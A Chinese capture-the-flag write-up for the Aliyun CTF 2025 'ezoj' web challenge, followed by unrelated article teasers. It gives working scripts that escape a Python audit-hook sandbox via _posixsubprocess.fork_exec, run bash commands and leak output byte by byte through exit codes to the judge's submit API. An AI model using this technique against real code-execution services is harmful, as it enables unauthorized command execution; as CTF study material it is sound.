Aliyun CTF 2025 web ezoj

文章目录

  • ezoj

ezoj

在这里插入图片描述
进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了在这里插入图片描述
通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码

def audit_checker(event,args):if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:raise RuntimeErrorsys.addaudithook(audit_checker)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好了,现在你已经清楚了,有这样一个函数,只允许白名单上的东西执行。其他诸如system和eval的代码执行不了。接下来利用程序退出码获取python版本信息,退出码就相当于return 0,区别在于这里return的值可控,通过version_info获取版本信息在这里插入图片描述

import sys
sys.exit(sys.version_info[0])

得到Python版本3.12.9,接着看,就算导入os模块,也不能执行system命令在这里插入图片描述
但是可以导入内部模块,即一些隐藏的可以用来执行命令的函数
如_posixsubprocess的fork_exe()函数,它的底层是c代码,所以可以绕过安全审计在这里插入图片描述
在_posixsubprocess模块中有一个c2pwrite参数,可以将子进程的输出数据重定向到父进程,可以利用这一点将数据带出来。
在这里插入图片描述

import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:sys.exit(content[{loc}])
else:sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):code = CODE_TEMPLATE.format(loc=i,command=command)data = {"problem_id":0,"code":code}resp = requests.post(URL,json=data)resp_data = resp.json()assert(resp_data["status"] == "RE")ret_loc = resp_data["message"].find("ret=")ret_code = resp_data["message"][ret_loc+4:]if ret_code == "255":breakreceived += chr(int(ret_code))print(received)

os.pipe创建通信管道
在这里插入图片描述
在这里插入图片描述

这里学到一个很厉害的技巧:使用管道,如果信息直接输出到终端,且不给回显,就可以通过管道给它先放进去,再从管道的另一端去读,可以采用类似布尔盲注的思想拿出信息,当然这里没这么麻烦。

_posixsubprocess.fork_exec((b"/bin/bash", b"-c", b"ls /"),  # ① 要执行的命令[b"/bin/bash"],                   # ② argv(程序参数)True,                              # ③ 是否关闭所有文件描述符(close_fds)(),                                # ④ 预执行(preexec_fn)None, None,                        # ⑤ 用户ID(UID)和 组ID(GID)-1, -1, -1,                        # ⑥ 文件描述符重定向std_pipe[1],  # c2pwrite           # ⑦ stdout 重定向到管道-1, -1,                            # ⑧ stdin, stderr 处理*(err_pipe),                        # ⑨ stderr 绑定到 err_pipeFalse, False, False,                # ⑩ 设置子进程行为None, None, None,                   # ⑪ 进程优先级和调度相关-1, None, False                     # ⑫ 其他控制参数
)

在这里插入图片描述
启动bash大概就相当于启动cmd这个意思在这里插入图片描述
第二个参数只放程序本身的名字,再往下看,是一个经验性的东西,由于 os.read 可能会将程序卡住,因此在 os.read 之前先sleep⼀下。到这里payload的构建就没有什么问题了,我们再来看看处理数据的脚本怎么构建,先看题目源码在这里插入图片描述
code就是我们构建的payload,通过程序退出码逐个返回信息在这里插入图片描述
这里我们显然不能直接提交到oj平台,所以id设置为0在这里插入图片描述
如果返回状态码为RE说明sys.exit()触发了在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:sys.exit(content[{log}])
else:sys.exit(255)'''
rec=""
for i in range(1,244):code=CODE_TEMPLATE.format(log=i)data={"problem_id":0,"code":code}response=requests.post(url=url,json=data)redata=response.json()assert redata["status"]=="RE"ret_loc=redata["message"].find("ret=")ret_code=redata["message"][ret_loc+4:]if ret_code=="255":breakelse:rec+=chr(int(ret_code))print(rec)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/31840.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据hadoop课程笔记

1.课程导入 柯洁 Alpha Go是人工智能领域的里程碑。 深度学习 大模型deepseek chatgpt 大模型 和 大数据 之间有着非常紧密的关系。可以说&#xff0c;大数据是大模型发展的基石&#xff0c;而大模型是大数据价值挖掘的重要工具。 https://youtu.be/nN-VacxHUH8?sifj7Ltk…

Pandas数据清洗实战之清洗猫眼电影

本次案例所需要用到的模块 pandas(文件读取保存 操作表格的模块) 将上次Scrapy爬取下来的文件 做个数据清洗 变成我们想要的数据 确定目的&#xff1a;将此文件中的duration字段中的分钟 和publisher_time上映去掉 只保留纯数值 数据清洗题目如下: 修复 publish_time列中的错…

UDP-网络编程/socket编程

一&#xff0c;socket相关接口 1&#xff0c;socket 我们来介绍socket编程的第一个接口&#xff1a;socket&#xff0c;它需要用到的头文件如图&#xff1a; 其中domain表示域或者协议家族&#xff1a; 本次我就用AF_INET&#xff08;ipv4&#xff09;来做演示 type参数表示…

《人月神话》:软件工程的成本寓言与生存法则

1975年&#xff0c;Fred Brooks在《人月神话》中写下那句振聋发聩的断言——“向进度落后的项目增加人力&#xff0c;只会让进度更加落后”——时&#xff0c;他或许未曾料到&#xff0c;这一观点会在半个世纪后的人工智能与云原生时代&#xff0c;依然如达摩克利斯之剑般悬在每…

ROS云课基础题库-01C++案例-甜甜圈

效率是核心&#xff0c;但效率高的教程会忽略掉非常多的细节。 解决问题的思路和细节对于一个问题的有效求解至关重要。 资料 云课五分钟-02第一个代码复现-终端甜甜圈C-CSDN博客 从云课五分钟到五秒钟焦虑的甜甜圈向前冲-CSDN博客 说明 复现重要性没有那么大&#xff0c;…

Oracle RHEL 5.8 安装 - 呆瓜式

前言 Red Hat Enterprise Linux Server release 5.8 为企业级 SO 镜像。绝大部分企业如果使用Oracle数据库均会使用其企业版 OS &#xff0c;能够很好的支持数据库的运行 文档目的 当前文档仅针对 VMware Workstation Pro 进行 OS 介质安装。 镜像下载地址 注意&#xff1…

【数据分析大屏】基于Django+Vue汽车销售数据分析可视化大屏(完整系统源码+数据库+开发笔记+详细部署教程+虚拟机分布式启动教程)✅

目录 一、项目背景 二、项目创新点 三、项目功能 四、开发技术介绍 五、项目功能展示 六、权威视频链接 一、项目背景 汽车行业数字化转型加速&#xff0c;销售数据多维分析需求激增。本项目针对传统报表系统交互性弱、实时性差等痛点&#xff0c;基于DjangoVue架构构建…

软件IIC和硬件IIC的主要区别,用标准库举例!

学习交流792125321&#xff0c;欢迎一起加入讨论&#xff01; 在学习iic的时候&#xff0c;我们经常会遇到软件 IC和硬件 IC,它两到底有什么区别呢&#xff1f; 软件 IC&#xff08;模拟 IC&#xff09;和硬件 IC&#xff08;外设 IC&#xff09;是两种实现 IC 总线通信的方式…

CSS-三大特性,盒子模型,圆角边框,盒子阴影,文字阴影

一、 CSS 的三大特性 CSS 有三个非常重要的三个特性:层叠性&#xff64;继承性&#xff64;优先级&#xff61; 1.层叠性 相同选择器给设置相同的样式,此时一个样式就会覆盖(层叠)另一个冲突的样式&#xff61;层叠性主要解决样式冲突 的问题 层叠性原则: 样式冲突,遵循的原…

基于 Qwen2.5-14B + Elasticsearch RAG 的大数据知识库智能问答系统

AI 时代&#xff0c;如何从海量私有文档&#xff08;非公开&#xff09;中快速提取精准信息成为了许多企业和个人的迫切需求。 本文介绍了一款基于 Qwen2.5-14B 大语言模型&#xff08;换成 DeepSeek 原理一致&#xff09;与 Elasticsearch 搜索引擎构建的大数据知识库智能问答…

算法手记1

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 目录 一.NC313 两个数组的交集 题目详情: 题目思路: 解题代码: 二.AB5 点击消除 题目详情: 题目思路: 解题代码: 结语 一.NC313 两个数组的交集 牛客网题目链接(点击即可跳转)…

JMeter使用BeanShell断言

BeanShell简介 BeanShell是使用Java语法的一套脚本语言&#xff0c;在JMeter的多种组件中都有BeanShell的身影&#xff0c;如&#xff1a; 定时器&#xff1a;BeanShell Timer前置处理器&#xff1a;BeanShell PreProcessor采样器&#xff1a;BeanShell Sampler后置处理器&am…

【技海登峰】Kafka漫谈系列(五)Java客户端之生产者Producer核心组件与实现原理剖析

【技海登峰】Kafka漫谈系列(五)Java客户端之生产者Producer核心组件与实现原理剖析 向Kafka Broker服务节点中发送主题消息数据的应用程序被称为生产者,生产者与消费者均属于Kafka客户端,几乎所有主流语言都支持调用客户端API。官方提供了基于Java实现的kafka-clients,用于…

【eNSP实战】配置交换机端口安全

拓扑图 目的&#xff1a;让交换机端口与主机mac绑定&#xff0c;防止私接主机。 主机PC配置不展示&#xff0c;按照图中配置即可。 开始配置之前&#xff0c;使用PC1 ping 一遍PC2、PC3、PC4、PC5&#xff0c;让交换机mac地址表刷新一下记录。 LSW1查看mac地址表 LSW1配置端…

AWS Bedrock 正式接入 DeepSeek-R1 模型:安全托管的生成式 AI 解决方案

亚马逊云科技&#xff08;AWS&#xff09;于 2024 年 1 月 30 日 宣布&#xff0c;DeepSeek-R1 模型 正式通过 Amazon Bedrock 平台提供服务&#xff0c;用户可通过 Bedrock Marketplace 或自定义模型导入功能使用该模型。 DeepSeek-R1&#xff0c;其安全防护机制与全面的 AI 部…

数据结构之线性表

目录 1 简介 2 线性表的基本概念 3 顺序存储的线性表 3.1 定义线性表结构 3.2 初始化线性表 3.3 插入元素 3.4 删除元素 3.5 查找元素 3.6 扩容操作 3.7 打印线性表 4 线性表的应用 5 总结 1 简介 线性表是数据结构中最基础且常用的一种结构&#xff0c;它是由一…

c#面试题12

1.ApplicationPool介绍一下 c#里没有 2.XML 可扩展标记语言&#xff0c;一般以.xml文件格式的形式存在。可用于存储结构化的数据 3.ASP.NET的用户控件 将原始的控件&#xff0c;用户根据需要进行整合成一个新的控件 4.介绍一下code-Behind 即代码后置技术&#xff0c;就是…

英语学习(GitHub学到的分享)

【英语语法&#xff1a;https://github.com/hzpt-inet-club/english-note】 【离谱的英语学习指南&#xff1a;https://github.com/byoungd/English-level-up-tips/tree/master】 【很喜欢文中的一句话&#xff1a;如果我轻轻松松的学习&#xff0c;生活的幸福指数会提高很多…

C++蓝桥杯基础篇(十一)

片头 嗨~小伙伴们&#xff0c;大家好&#xff01;今天我们来学习C蓝桥杯基础篇&#xff08;十一&#xff09;&#xff0c;学习类&#xff0c;结构体&#xff0c;指针相关知识&#xff0c;准备好了吗&#xff1f;咱们开始咯~ 一、类与结构体 类的定义&#xff1a;在C中&#x…

一次解决Andriod Studio Build Gradle很慢或报错下载失败等问题

Andriod Studio创建项目时&#xff0c;Build gradle一直在下载或者卡住或者很慢&#xff0c;反正就是会在这里出现各自问题的&#xff0c;请看这里&#xff01; 来来来&#xff0c;全体目光向我看齐&#xff01;&#xff01;&#xff01;保准让你解决掉这个问题&#xff01;这…